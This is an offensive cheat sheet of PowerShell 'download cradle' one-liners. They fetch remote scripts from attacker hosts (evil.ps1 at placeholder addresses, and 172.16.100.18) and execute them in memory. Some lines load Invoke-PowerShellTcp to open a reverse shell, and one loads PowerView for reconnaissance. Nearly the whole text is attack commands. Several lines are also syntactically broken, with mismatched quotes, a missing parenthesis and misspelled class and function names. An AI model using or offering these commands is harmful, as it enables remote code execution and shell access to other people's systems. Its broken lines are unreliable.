Download Cradles

Property

Links

iex (New-Object Net.WebClient).DownloadString('https://webserver/payload.ps1')

$ie=New-Object -ComObject InternetExplorer.Application;$ie.visible=$False;$ie.navigate(http://<ipaddress>/evil.ps1');sleep 5;$response=$ie.Document.body.innerHTML;$ie.quit();iex $response

After PowerShell V3
iex (iwr 'http://<ipaddr>/evil.ps1')

$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://<ipaddr>/evil.ps1',$false);$h.send();iex $h.responseText

$wr = [System.NET.WebRequest]::Create("<ipaddr>") $r = $wr.GetResponse() IEX  [System.IOStreamReader]($r.GetResponseStream())).ReadToEnd()

powershell -c wget <ipaddr> -outfile <filename>

powershell.exe -c iex (New-Object Net.WebClient).DownloadString('http://172.16.100.18/)

powershell.exe -c (iwr http://172.16.100.18/Invoke-PowerShellTcp.ps1 -UseBasicParsing);Power -Reverse -IPAddress 172.16.100.18 -Port 25

iex (iwr http://172.16.100.18:8181/Invoke-PowerShellTcp.ps1 -UseBasicParsing);Power -Reverse -IPAddress 172.16.100.18 -Port 25

iex (iwr http://172.16.100.18:8181/PowerView.ps1 -UseBasicParsing)